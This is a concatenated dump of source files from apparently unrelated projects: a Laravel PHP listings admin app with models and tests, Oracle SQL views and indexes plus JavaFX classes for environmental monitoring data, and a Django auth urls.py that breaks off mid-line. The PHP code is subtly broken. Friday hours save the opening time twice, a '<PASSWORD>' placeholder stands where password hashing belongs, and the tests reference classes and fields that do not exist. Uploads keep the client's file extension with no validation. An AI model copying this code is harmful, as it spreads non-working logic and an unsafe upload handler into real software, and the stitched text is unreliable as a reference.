$listing->user_id=auth()->id(); $listing->listing_thumbnail=$this->SaveImage($request->file('listing_thumbnail'),'listing'); $listing->listing_cover=$this->SaveImage($request->file('listing_cover'),'listing'); $listing->photos=$this->SaveImage($request->file('Gallery'),'listing'); $listing->status="Pendig"; $listing->save(); // $listing->amenities()->sync($request->input('amenities')); // $listing->categories()->sync($request->input('category')); // $timeConfiguration =new TimeConfiguration(); $timeConfiguration->listing_id=$listing->id; $timeConfiguration->saturday=$request->input('time_configuration.SaturdayOpening').'-'.$request->input('time_configuration.SaturdayClosing'); $timeConfiguration->sunday=$request->input('time_configuration.SundayOpening').'-'.$request->input('time_configuration.SundayClosing'); $timeConfiguration->monday=$request->input('time_configuration.MondayOpening').'-'.$request->input('time_configuration.MondayClosing'); $timeConfiguration->tuesday=$request->input('time_configuration.TuesdayOpening').'-'.$request->input('time_configuration.TuesdayClosing'); $timeConfiguration->wednesday=$request->input('time_configuration.WednesdayOpening').'-'.$request->input('time_configuration.WednesdayClosing'); $timeConfiguration->thursday=$request->input('time_configuration.ThursdayOpening').'-'.$request->input('time_configuration.ThursdayClosing'); $timeConfiguration->friday=$request->input('time_configuration.FridayOpening').'-'.$request->input('time_configuration.FridayOpening'); $timeConfiguration->save(); // $request->session()->flash('listing', $listing->name); // Notification Notification::send($listing , new ListCreated($listing)); return redirect()->route('listing.index'); } public function SaveImage($photo,$folder){ $file_extension= $photo->getClientOriginalExtension(); $file_name=time().'.'.$file_extension; $path=$folder; $photo->move($path,$file_name); return $file_name; } /** * @param \Illuminate\Http\Request $request * @param \App\Models\Listing $listing * @return \Illuminate\Http\Response */ public function show(Request $request, Listing $listing) { return view('listing.show', compact('listing')); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\Listing $listing * @return \Illuminate\Http\Response */ public function edit(Request $request,$id) { $listing=Listing::select()-> with(['time'=>function($q){ $q->select('time_configuration.*'); }])->where('id',$id)->with(['categories'=>function($q){ $q->select('categories.id'); }])->with(['amenities'=>function($q){ $q->select('amenities.id'); }])->first(); $categories=Category::all(); $cities=City::all(); $amenities = Amenity::all(); return view('listing.edit', compact(['categories','cities','amenities','listing'])); } /** * @param \App\Http\Requests\ListingUpdateRequest $request * @param \App\Models\Listing $listing * @return \Illuminate\Http\Response */ function checkIfLinkyouTube($url){ $rx = '~ ^(?:https?://)? # Optional protocol (?:www\.)? # Optional subdomain (?:youtube\.com|youtu\.be) # Mandatory domain name /watch\?v=([^&]+) # URI with video id as capture group 1 ~x'; $has_match = preg_match($rx, $url , $matches); if(isset($matches[1]) && $matches[1] != ''){ return true; }else{ return false; } } public function update(ListingUpdateRequest $request,$id) { $listing = Listing::Find($id); $listing->name=$request->input('name'); $listing->description=$request->input('description'); $listing->video_url=$request->input('video_url'); $listing->video_provider='youtube'; $listing->adress=$request->input('adress'); $listing->email=$request->input('email'); $listing->phone=$request->input('phone'); $listing->website=$request->input('website'); $listing->latitude=$request->input('latitude'); $listing->longitude=$request->input('longitude'); $listing->listing_type=$request->input('listing_type'); $listing->city_id=$request->input('city'); $listing->seo_meta_tags="Tag"; $listing->tag="Tag"; $listing->social=$request->input('social'); if ($request->hasFile('listing_thumbnail')) $listing->listing_thumbnail=$this->SaveImage($request->file('listing_thumbnail'),'listing'); if ($request->hasFile('listing_cover')) $listing->listing_cover=$this->SaveImage($request->file('listing_cover'),'listing'); if ($request->hasFile('Gallery')) $listing->photos=$this->SaveImage($request->file('Gallery'),'listing'); $listing->status="Active"; $listing->save(); // $listing->amenities()->sync($request->input('amenities')); // $listing->categories()->sync($request->input('category')); // $timeConfiguration =TimeConfiguration::where('listing_id',$listing->id)->first(); $timeConfiguration->saturday=$request->input('time_configuration.saturdayOpening').'-'.$request->input('time_configuration.saturdayClosing'); $timeConfiguration->sunday=$request->input('time_configuration.sundayOpening').'-'.$request->input('time_configuration.sundayClosing'); $timeConfiguration->monday=$request->input('time_configuration.mondayOpening').'-'.$request->input('time_configuration.mondayClosing'); $timeConfiguration->tuesday=$request->input('time_configuration.tuesdayOpening').'-'.$request->input('time_configuration.tuesdayClosing'); $timeConfiguration->wednesday=$request->input('time_configuration.wednesdayOpening').'-'.$request->input('time_configuration.wednesdayClosing'); $timeConfiguration->thursday=$request->input('time_configuration.thursdayOpening').'-'.$request->input('time_configuration.thursdayClosing'); $timeConfiguration->friday=$request->input('time_configuration.fridayOpening').'-'.$request->input('time_configuration.fridayOpening'); $timeConfiguration->save(); $request->session()->flash('listing', $listing->name); return redirect()->route('listing.index'); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\Listing $listing * @return \Illuminate\Http\Response */ public function destroy(Request $request, $id) { $listing = Listing::find($id); $listing->delete(); $request->session()->flash('listing', $listing->name.' Deleted'); return redirect()->route('listing.index'); } } <file_sep>/app/Http/Controllers/CityController.php <?php namespace App\Http\Controllers; use App\Http\Requests\CityStoreRequest; use App\Http\Requests\CityUpdateRequest; use App\Models\City; use App\Models\Country; use Illuminate\Http\Request; use Illuminate\Support\Str; class CityController extends Controller { /** * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function index(Request $request) { /* $city=City::with('country')->find(6); $country=Country::with(['cities'=>function($q){ $q->where('id', 1); }])->find(73); return $city ; */ $cities=City::all(); return view('city.index', compact('cities')); } /** * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function create(Request $request) { $countries=Country::all(); return view('city.create',compact('countries')); } /** * @param \App\Http\Requests\CityStoreRequest $request * @return \Illuminate\Http\Response */ public function store(CityStoreRequest $request) { $city = City::create([ 'name' => $request->name, 'slug' => strtolower($request->name), 'country_id' => $request->country_id, ]); $request->session()->flash('city', $city->name.''); return redirect()->route('city.index'); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\City $city * @return \Illuminate\Http\Response */ public function show(Request $request, City $city) { return view('city.show', compact('city')); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\City $city * @return \Illuminate\Http\Response */ public function edit($id) { $city=City::findOrfail($id); $countries=Country::all(); return view('city.edit', compact(['city','countries'])); } /** * @param \App\Http\Requests\CityUpdateRequest $request * @param \App\Models\City $city * @return \Illuminate\Http\Response */ public function update(CityUpdateRequest$request,$id) { $city=City::findOrfail($id); $city->name=$request->input('name'); $city->slug=Str::lower($request->input('name')); $city->country_id= $request->input('country_id'); $city->save(); $request->session()->flash('city', $city->name.''); return redirect()->route('city.index'); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\City $city * @return \Illuminate\Http\Response */ public function destroy(Request $request, City $city) { $city->delete(); return redirect()->route('city.index'); } } <file_sep>/app/Http/Controllers/AmenitiesController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests\AmenityStoreRequest; use App\Http\Requests\AmenityUpdateRequest; use App\Models\Amenity; use Illuminate\Support\Str; class AmenitiesController extends Controller { /** * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function index(Request $request) { $amenities = Amenity::all(); return view('amenity.index', compact('amenities')); } /** * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function create(Request $request) { return view('amenity.create'); } /** * @param \App\Http\Requests\AmenitiesStoreRequest $request * @return \Illuminate\Http\Response */ public function store(AmenityStoreRequest $request) { $amenity = Amenity::create([ 'icon_class' => $request->input("icon_class"), 'name' => $request->input("name"), 'slug' => Str::lower($request->input("name")), ]); $request->session()->flash('amenity', $amenity->name.''); return redirect()->route('amenities.index'); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\Amenity $amenity * @return \Illuminate\Http\Response */ public function show(Request $request, Amenity $amenity) { return view('amenity.show', compact('amenity')); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\Amenity $amenity * @return \Illuminate\Http\Response */ public function edit($id) { $amenity= Amenity::findOrfail($id); return view('amenity.edit', compact('amenity')); } /** * @param \App\Http\Requests\AmenityUpdateRequest $request * @param \App\Models\Amenity $amenity * @return \Illuminate\Http\Response */ public function update(AmenityUpdateRequest $request, $id) { $amenity= Amenity::findOrfail($id); $amenity->update([ 'icon_class' => $request->input("icon_class"), 'name' => $request->input("name"), 'slug' => Str::lower($request->input("name")), ]); $request->session()->flash('amenity', $amenity->name.''); return redirect()->route('amenities.index'); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\Amenity $amenity * @return \Illuminate\Http\Response */ public function destroy($id) { $amenity= Amenity::findOrfail($id); $amenity->delete(); return redirect()->route('amenities.index'); } } <file_sep>/app/Models/TimeConfiguration.php <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class TimeConfiguration extends Model { protected $table="time_configuration"; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday', ]; public $hidden=[ "created_at", "updated_at", "listing_id", ]; public function listing(){ return $this->hasMany(\App\Models\Listing::class); } } <file_sep>/database/migrations/2020_05_20_232839_create_listings_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateListingsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('listings', function (Blueprint $table) { $table->id(); $table->string('code'); $table->string('name'); $table->text('description'); $table->json('photos'); $table->string('video_url'); $table->string('video_provider'); $table->string('tag'); $table->string('adress'); $table->string('email'); $table->string('phone'); $table->string('website'); $table->json('social'); $table->string('latitude'); $table->string('longitude'); $table->string('status'); $table->string('listing_type'); $table->string('listing_thumbnail'); $table->string('listing_cover'); $table->string('seo_meta_tags'); $table->foreignId('city_id'); $table->foreign('city_id')->references('id')->on('cities')->onDelete('cascade'); $table->foreignId('user_id'); $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('listings'); } } <file_sep>/app/Http/Controllers/CategoryController.php <?php namespace App\Http\Controllers; use App\Http\Requests\CategoryStoreRequest; use App\Http\Requests\CategoryUpdateRequest; use App\Models\Category; use Illuminate\Http\Request; use Illuminate\Support\Str; class CategoryController extends Controller { /** * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function index(Request $request) { $categories = Category::all(); return view('category.index', compact('categories')); } /** * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function create(Request $request) { $categories = Category::where('parebt',0)->get(); return view('category.create',compact('categories')); } /** * @param \App\Http\Requests\CategoryStoreRequest $request * @return \Illuminate\Http\Response */ public function store(CategoryStoreRequest $request) { $category = Category::create([ 'parebt' =>$request->input("parebt") , 'icon_class' => $request->input("icon_class"), 'name' => $request->input("name"), 'thumbnail' =>$this->SaveImage($request->file('thumbnail'),'images') , 'slug' => Str::lower($request->input("name")), ]); $request->session()->flash('category', $category->name); return redirect()->route('category.index'); } public function SaveImage($photo,$folder){ $file_extension= $photo->getClientOriginalExtension(); $file_name=time().'.'.$file_extension; $path=$folder; $photo->move($path,$file_name); return $file_name; } /** * @param \Illuminate\Http\Request $request * @param \App\Models\Category $category * @return \Illuminate\Http\Response */ public function show(Request $request, Category $category) { return view('category.show', compact('category')); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\Category $category * @return \Illuminate\Http\Response */ public function edit($id) { $category = Category::findOrFail($id); $categories = Category::where('parebt',0)->get(); return view('category.edit', compact(['category','categories'])); } /** * @param \App\Http\Requests\CategoryUpdateRequest $request * @param \App\Models\Category $category * @return \Illuminate\Http\Response */ public function update(CategoryUpdateRequest $request, Category $category) { if ($request->input('thumbnail')){ $category->update([ 'parebt' =>$request->input("parebt") , 'icon_class' => $request->input("icon_class"), 'name' => $request->input("name"), 'thumbnail' =>$this->SaveImage($request->file('thumbnail'),'images') , 'slug' => Str::lower($request->input("name")), ]); }else{ $category->update([ 'parebt' =>$request->input("parebt") , 'icon_class' => $request->input("icon_class"), 'name' => $request->input("name"), 'slug' => Str::lower($request->input("name")), ]); } $request->session()->flash('category', $category->name." has updated"); return redirect()->route('category.index'); } /** * @param \Illuminate\Http\Request $request * @param \App\Models\Category $category * @return \Illuminate\Http\Response */ public function destroy($id) { $category=Category::findOrFail($id); $category->delete(); return redirect()->route('category.index'); } } <file_sep>/database/factories/ListingFactory.php <?php /** @var \Illuminate\Database\Eloquent\Factory $factory */ use App\Models\Listing; use Faker\Generator as Faker; $factory->define(Listing::class, function (Faker $faker) { return [ 'code' => $faker->word, 'name' => $faker->name, 'description' => $faker->text, 'photos' => '{}', 'video_url' => $faker->word, 'video_provider' => $faker->word, 'tag' => $faker->word, 'adress' => $faker->word, 'email' => $faker->safeEmail, 'phone' => $faker->phoneNumber, 'website' => $faker->word, 'social' => '{}', 'latitude' => $faker->latitude, 'longitude' => $faker->longitude, 'status' => $faker->word, 'listing_type' => $faker->word, 'listing_thumbnail' => $faker->word, 'listing_cover' => $faker->word, 'seo_meta_tags' => $faker->word, 'user_id' => $faker->word, ]; }); <file_sep>/app/Models/Review.php <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Review extends Model { /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'review_comment', 'reviewwisequality_id', 'listing_id', ]; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'id' => 'integer', ]; public function listing() { return $this->belongsTo(\App\Models\Listing::class); } public function reviewWiseQuality() { return $this->belongsTo(\App\Models\ReviewQuality::class); } } <file_sep>/database/factories/ReviewWiseQualityFactory.php <?php /** @var \Illuminate\Database\Eloquent\Factory $factory */ use App\Models\ReviewWiseQuality; use Faker\Generator as Faker; $factory->define(ReviewWiseQuality::class, function (Faker $faker) { return [ 'rating_from' => $faker->randomFloat(0, 0, 9999999999.), 'rating_to' => $faker->randomFloat(0, 0, 9999999999.), 'quality' => $faker->word, ]; }); <file_sep>/tests/Feature/Http/Controllers/AmenitiesControllerTest.php <?php namespace Tests\Feature\Http\Controllers; use App\Amenity; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\WithFaker; use JMac\Testing\Traits\AdditionalAssertions; use Tests\TestCase; /** * @see \App\Http\Controllers\AmenitiesController */ class AmenitiesControllerTest extends TestCase { use AdditionalAssertions, RefreshDatabase, WithFaker; /** * @test */ public function index_displays_view() { $amenities = factory(Amenities::class, 3)->create(); $response = $this->get(route('amenity.index')); $response->assertOk(); $response->assertViewIs('amenity.index'); $response->assertViewHas('amenities'); } /** * @test */ public function create_displays_view() { $response = $this->get(route('amenity.create')); $response->assertOk(); $response->assertViewIs('amenity.create'); } /** * @test */ public function store_uses_form_request_validation() { $this->assertActionUsesFormRequest( \App\Http\Controllers\AmenitiesController::class, 'store', \App\Http\Requests\AmenitiesStoreRequest::class ); } /** * @test */ public function store_saves_and_redirects() { $amenity = $this->faker->word; $response = $this->post(route('amenity.store'), [ 'amenity' => $amenity, ]); $amenities = Amenity::query() ->where('amenity', $amenity) ->get(); $this->assertCount(1, $amenities); $amenity = $amenities->first(); $response->assertRedirect(route('amenity.index')); $response->assertSessionHas('amenity.id', $amenity->id); } /** * @test */ public function show_displays_view() { $amenity = factory(Amenities::class)->create(); $response = $this->get(route('amenity.show', $amenity)); $response->assertOk(); $response->assertViewIs('amenity.show'); $response->assertViewHas('amenity'); } /** * @test */ public function edit_displays_view() { $amenity = factory(Amenities::class)->create(); $response = $this->get(route('amenity.edit', $amenity)); $response->assertOk(); $response->assertViewIs('amenity.edit'); $response->assertViewHas('amenity'); } /** * @test */ public function update_uses_form_request_validation() { $this->assertActionUsesFormRequest( \App\Http\Controllers\AmenitiesController::class, 'update', \App\Http\Requests\AmenitiesUpdateRequest::class ); } /** * @test */ public function update_redirects() { $amenity = factory(Amenities::class)->create(); $amenity = $this->faker->word; $response = $this->put(route('amenity.update', $amenity), [ 'amenity' => $amenity, ]); $response->assertRedirect(route('amenity.index')); $response->assertSessionHas('amenity.id', $amenity->id); } /** * @test */ public function destroy_deletes_and_redirects() { $amenity = factory(Amenities::class)->create(); $amenity = factory(Amenity::class)->create(); $response = $this->delete(route('amenity.destroy', $amenity)); $response->assertRedirect(route('amenity.index')); $this->assertDeleted($amenity); } } <file_sep>/app/Http/Controllers/HomeController.php <?php namespace App\Http\Controllers; use App\Models\Category; use App\Models\City; use App\Models\Listing; use App\User; use Illuminate\Http\Request; class HomeController extends Controller { /** * Create a new controller instance. * * @return void */ public function __construct() { $this->middleware('auth'); } /** * Show the application dashboard. * * @return \Illuminate\Contracts\Support\Renderable */ public function index() { $listings= Listing::all()->Count(); $categories= Category::all()->Count(); $users= User::all()->Count(); $cities=City::all()->count(); return view('home',['listings'=>$listings,'categories'=>$categories,'user'=>$users,'cities'=>$cities]); } } <file_sep>/tests/Feature/Http/Controllers/CityControllerTest.php <?php namespace Tests\Feature\Http\Controllers; use App\City; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\WithFaker; use JMac\Testing\Traits\AdditionalAssertions; use Tests\TestCase; /** * @see \App\Http\Controllers\CityController */ class CityControllerTest extends TestCase { use AdditionalAssertions, RefreshDatabase, WithFaker; /** * @test */ public function index_displays_view() { $cities = factory(City::class, 3)->create(); $response = $this->get(route('city.index')); $response->assertOk(); $response->assertViewIs('city.index'); $response->assertViewHas('cities'); } /** * @test */ public function create_displays_view() { $response = $this->get(route('city.create')); $response->assertOk(); $response->assertViewIs('city.create'); } /** * @test */ public function store_uses_form_request_validation() { $this->assertActionUsesFormRequest( \App\Http\Controllers\CityController::class, 'store', \App\Http\Requests\CityStoreRequest::class ); } /** * @test */ public function store_saves_and_redirects() { $city = $this->faker->word; $response = $this->post(route('city.store'), [ 'city' => $city, ]); $cities = City::query() ->where('city', $city) ->get(); $this->assertCount(1, $cities); $city = $cities->first(); $response->assertRedirect(route('city.index')); $response->assertSessionHas('city.id', $city->id); } /** * @test */ public function show_displays_view() { $city = factory(City::class)->create(); $response = $this->get(route('city.show', $city)); $response->assertOk(); $response->assertViewIs('city.show'); $response->assertViewHas('city'); } /** * @test */ public function edit_displays_view() { $city = factory(City::class)->create(); $response = $this->get(route('city.edit', $city)); $response->assertOk(); $response->assertViewIs('city.edit'); $response->assertViewHas('city'); } /** * @test */ public function update_uses_form_request_validation() { $this->assertActionUsesFormRequest( \App\Http\Controllers\CityController::class, 'update', \App\Http\Requests\CityUpdateRequest::class ); } /** * @test */ public function update_redirects() { $city = factory(City::class)->create(); $city = $this->faker->word; $response = $this->put(route('city.update', $city), [ 'city' => $city, ]); $response->assertRedirect(route('city.index')); $response->assertSessionHas('city.id', $city->id); } /** * @test */ public function destroy_deletes_and_redirects() { $city = factory(City::class)->create(); $response = $this->delete(route('city.destroy', $city)); $response->assertRedirect(route('city.index')); $this->assertDeleted($city); } } <file_sep>/app/Http/Controllers/UserController.php <?php namespace App\Http\Controllers; use App\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use function MongoDB\BSON\toJSON; class UserController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $Users=User::all(); return view('user.index',compact('Users')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('user.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $data=$request->only('facebook','twitter','instgram','linkedin'); $User=new User(); $User->name=$request->input('name'); $User->email=$request->input('email'); $User->password= <PASSWORD>($request->input('password')); $User->phone=$request->input('phone'); $User->address=$request->input('address'); $User->websit= $request->input('websit'); $User->about=$request->input('about'); $User->link=$data; $User->save(); $request->session()->flash('User', $User->name.''); return redirect()->route('user.index'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $User =User::findORfail($id); return view('user.edit',compact('User')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $User=User::findOrfail($id); $data=$request->only('facebook','twitter','instgram','linkedin'); $User->name=$request->input('name'); $User->email=$request->input('email'); $User->phone=$request->input('phone'); $User->password=Hash::make($request->input('password')); $User->address=$request->input('address'); $User->websit=$request->input('websit'); $User->about=$request->input('about'); $User->image=$request->input('image'); $User->link= $data; $User->save(); $request->session()->flash('User', $User->name.''); return redirect()->route('user.index'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $User=User::findOrfail($id); $User->delete(); return redirect()->route('user.index'); } }
1d2af92b2b7bf78ed811752b377a1fc60d7aaeca
[ "PHP" ]
25
PHP
Mohammedredabric/Info-Atlas-V1
7630d48ae87cac4fc417281c7fa0ab6e6dd27813
885aa0d3e94fe754d00005be812ba367ad3edc83
refs/heads/master
<repo_name>FatbardhKadriu/Modelet_e_te_dhenave<file_sep>/Pjesa e pare/Projekti_Modelet_e_te_dhenave_dhe_gjuhet_e_pyetesorve/Oracle/views.sql CREATE VIEW CilesiaAjrit_View AS SELECT C.Aid, C.Vendi, N.Ndotesi, N.Data_Koha, N.Koncentrimi, N.VleraMax_Lejueshme FROM Cilesia_Ajrit c, TABLE(c.ndotja) n CREATE VIEW Te_DhenatH_View AS SELECT H.HId, s.Emri_Stacionit, H.Distanca_Nga_Gryka, H.Siperfaqja_Ujembledhese, M.Data_Koha, M.Niveli_Ujit, M.Prurja_Ujit FROM Te_Dhenat_Hidrometrike H , TABLE(H.HMatjet) M, Stacionet_Hidrometrike s WHERE H.hidroStacioniID = s.hidroStacioniID CREATE VIEW TE_DHENATK_VIEW AS SELECT T.KId , m.Emri_i_stacionit, C.Data_Koha , C.Temperatura, C.Shtypja_Ajrit, C.Lageshtia_Ajrit, C.Reshje_Shiu, C.Reshje_Bore, T.Insolacioni, T.Vranesirat FROM Te_Dhenat_Klimatologjike T, TABLE(T.KMatje) C, Stacionet_Meteorologjike m WHERE T.StacioniID = m.StacioniID CREATE VIEW ZHURMA_VIEW AS SELECT Zid, Data_Koha, Tipi_Pranuesit, Vlera_Zhurmes FROM Zhurma INSERT INTO Zhurma_View VALUES (20, '17-DEC-2019 03:00:00 PM', 'Fabrikat', 66); UPDATE Zhurma_View SET Vlera_Zhurmes = 65 WHERE ZId = 19; select * from Zhurma_View; CREATE VIEW NdotesitNeVende AS SELECT ndotesi, koncentrimi FROM Cilesia_Ajrit c, TABLE(c.Ndotja) n WHERE vendi = 'Prishtinë' <file_sep>/Pjesa e pare/Projekti_Modelet_e_te_dhenave_dhe_gjuhet_e_pyetesorve/OracleConnection/src/com/nt/NdotesitClass.java package com.nt; import javafx.application.Application; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.scene.Scene; import javafx.scene.chart.PieChart; import javafx.scene.layout.Pane; import javafx.stage.Stage; public class NdotesitClass{ public void createStage() { Stage primaryStage = new Stage(); Pane pane = new Pane(); pane.getChildren().add(createPieChart()); Scene scene = new Scene(pane); primaryStage.setScene(scene); primaryStage.show(); } public PieChart createPieChart() { // try { // Statement stmt = DBConnection.getConnection().createStatement(); // ResultSet rs = stmt.executeQuery("Select * from NdotesitNeVende"); // while(rs.next()) // { // System.out.println(rs.getString(1) + " -> " + rs.getString(2)); // } // }catch(Exception ex) // { // ex.printStackTrace(); // } ObservableList<PieChart.Data> pieChartData = FXCollections.observableArrayList( new PieChart.Data("PM2.5", 7), new PieChart.Data("PM10", 13), new PieChart.Data("SO2", 39), new PieChart.Data("NO2", 11), new PieChart.Data("O3", 30)); final PieChart chart = new PieChart(pieChartData); chart.setTitle("Ndotesite Ne Prishtine"); return chart; } }<file_sep>/Pjesa e pare/Projekti_Modelet_e_te_dhenave_dhe_gjuhet_e_pyetesorve/Oracle/indeksimet.sql CREATE INDEX Te_Dhenat_Klimatologjike_Index ON KMatje_Nested(Data_Koha, Temperatura); CREATE INDEX Temperatura_Tokes_Index ON Temp_Nested(Data_Koha, Temperatura_Tokes); CREATE bitmap INDEX Stacionet_Hidrometrike_Index ON Stacionet_Hidrometrike(Pellgu_Lumor); CREATE CLUSTER Te_Dhenat_H(HidroStacioniID INTEGER); CREATE INDEX Te_Dhenat_H_Index ON CLUSTER Te_Dhenat_H; CREATE INDEX Lista_Ndotesit_Index ON Ndotja_Nested(Koncentrimi - VleraMax_Lejueshme); CREATE UNIQUE INDEX Zhurma_Index on Zhurma(Data_Koha, Tipi_Pranuesit); <file_sep>/Pjesa e pare/Projekti_Modelet_e_te_dhenave_dhe_gjuhet_e_pyetesorve/OracleConnection/src/com/nt/NjesiteClass.java package com.nt; import java.sql.*; import java.util.List; import javafx.application.Application; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.geometry.Insets; import javafx.scene.Scene; import javafx.scene.control.Button; import javafx.scene.control.Label; import javafx.scene.control.TableColumn; import javafx.scene.control.TableRow; import javafx.scene.control.TableView; import javafx.scene.control.TextField; import javafx.scene.control.cell.PropertyValueFactory; import javafx.scene.layout.GridPane; import javafx.scene.layout.HBox; import javafx.scene.layout.VBox; import javafx.stage.Stage; public class NjesiteClass{ // Text fields private TextField madhesiaTxt = new TextField(); private TextField njesiaTxt = new TextField(); private Label lblMadhesia = new Label("Madhesia"); private Label lblNjesia = new Label("Njesia"); // Buttons private Button insertBtn = new Button("Insert"); private Button updateBtn = new Button("Update"); private Button deleteBtn = new Button("Delete"); private Button clearBtn = new Button("Clear"); // Table views private TableView madhesiteTable = new TableView(); public void createStage() { Stage primaryStage = new Stage(); lblMadhesia.setId("id1"); lblMadhesia.setId("id2"); // Form pane GridPane formPane = new GridPane(); formPane.addRow(0, new Label("Madhesia: "), madhesiaTxt); formPane.addRow(1, new Label("Njesia: "), njesiaTxt); formPane.setHgap(10); formPane.setVgap(10); madhesiaTxt.setDisable(true); // Buttons pane HBox buttonsPane = new HBox(10); buttonsPane.getChildren().addAll(insertBtn, updateBtn, deleteBtn, clearBtn); insertBtn.setOnAction(e -> { insertMadhesi(); }); clearBtn.setOnAction(e -> { clearForm(); }); updateBtn.setOnAction(e -> { updateMadhesi(); }); deleteBtn.setOnAction(e -> { deleteMadhesi(); }); // Left Pane VBox leftPane = new VBox(15); leftPane.getChildren().addAll(formPane, buttonsPane); // Books table TableColumn<String, Njesite_Matese> column1 = new TableColumn<>("Madhesia"); column1.setCellValueFactory(new PropertyValueFactory("madhesia")); column1.setPrefWidth(200); TableColumn<String, Njesite_Matese> column2 = new TableColumn<>("Njesia"); column2.setCellValueFactory(new PropertyValueFactory("njesia")); column2.setPrefWidth(150); madhesiteTable.getColumns().add(column1); madhesiteTable.getColumns().add(column2); madhesiteTable.setRowFactory(tv -> { TableRow<Njesite_Matese> row = new TableRow<>(); row.setOnMouseClicked(e -> { madhesiaTxt.setText(String.valueOf(row.getItem().getMadhesia())); njesiaTxt.setText(row.getItem().getNjesia()); madhesiaTxt.setDisable(false); }); return row; }); madhesiteTable.setPrefWidth(360); madhesiteTable.setPrefHeight(200); // Main Pane HBox mainPane = new HBox(200); mainPane.getChildren().addAll(leftPane, madhesiteTable); mainPane.setPadding(new Insets(15, 15, 15, 15)); mainPane.setStyle("-fx-background-image: url(images/bg2.jpg);-fx-background-size:cover;"); Scene scene = new Scene(mainPane, 1000, 500); scene.getStylesheets().addAll(this.getClass().getResource("style.css").toExternalForm()); primaryStage.setTitle("Tabela per informimin e njesive matese"); primaryStage.setScene(scene); primaryStage.setResizable(false); showMadhesi(); primaryStage.show(); } public static void main(String[] args) { Application.launch(args); } public void showMadhesi() { List<Njesite_Matese> madhesite = Njesite_Matese.getMadhesite(); ObservableList<Njesite_Matese> madhesiteList = FXCollections.observableArrayList(); for (int i = 0; i < madhesite.size(); i++) { madhesiteList.add(madhesite.get(i)); } madhesiteTable.setItems(madhesiteList); } public void insertMadhesi() { if (Njesite_Matese.addMadhesi(madhesiaTxt.getText(), njesiaTxt.getText())) { showMadhesi(); clearForm(); } } private void deleteMadhesi() { if (Njesite_Matese.deleteMadhesi(madhesiaTxt.getText())) { showMadhesi(); clearForm(); } }; private void updateMadhesi() { if (Njesite_Matese.updateMadhesi(madhesiaTxt.getText(), njesiaTxt.getText())) { showMadhesi(); clearForm(); } }; public void clearForm() { madhesiaTxt.setText(""); njesiaTxt.setText(""); } }
72877e02756918c740f2f7c62e9cf0630384906d
[ "Java", "SQL" ]
4
SQL
FatbardhKadriu/Modelet_e_te_dhenave
eff16e1e9fd44ed95c662f2f07994a64d404caf4
cddb80e07f998d951607775fe46c74fe20a19158
refs/heads/master
<repo_name>8264044685/user-managemant<file_sep>/pages/urls.py from django.urls import path, include from . import views from django.conf.urls.static import static from django.conf import settings urlpatterns = [ path('',views.index,name= 'index'), path('welcome',views.welcome,name= 'welcome'), path('show_data',views.show_data,name= 'show_data'), ] + static(settings.MEDIA_URL,document_root = settings.MEDIA_ROOT) <file_sep>/login/urls.py from django.conf.urls import url from django.urls import path, re_path from . import views from django.conf.urls.static import static from django.conf import settings from django.contrib.auth import views as auth_views from login.form import EmailValidationOnForgotPassword from django.contrib.auth.forms import PasswordResetForm from django.contrib.auth.models import User urlpatterns = [ re_path(r'^logins?/$', views.login, name='login'), re_path(r'^signup/$', views.signup, name='signup'), path('logout', views.logout_view, name='logout'), path('password_reset/', auth_views.PasswordResetView.as_view(form_class=EmailValidationOnForgotPassword), name='password_reset'), path('pasword-reset/done/', auth_views.PasswordResetDoneView.as_view(template_name='login/password_reset_done.html'), {'password_reset_form': EmailValidationOnForgotPassword}, name='password_reset_done'), path('pasword-reset-confirm/<uidb64>/<token>', auth_views.PasswordResetConfirmView.as_view(template_name='login/password_reset_confirm.html'), name='password_reset_confirm'), path('pasword-reset-complete/', auth_views.PasswordResetCompleteView.as_view(template_name='login/password_reset_complete.html'), name='password_reset_complete'), path('pasword-change/', auth_views.PasswordChangeView.as_view(template_name='login/password_change.html'), 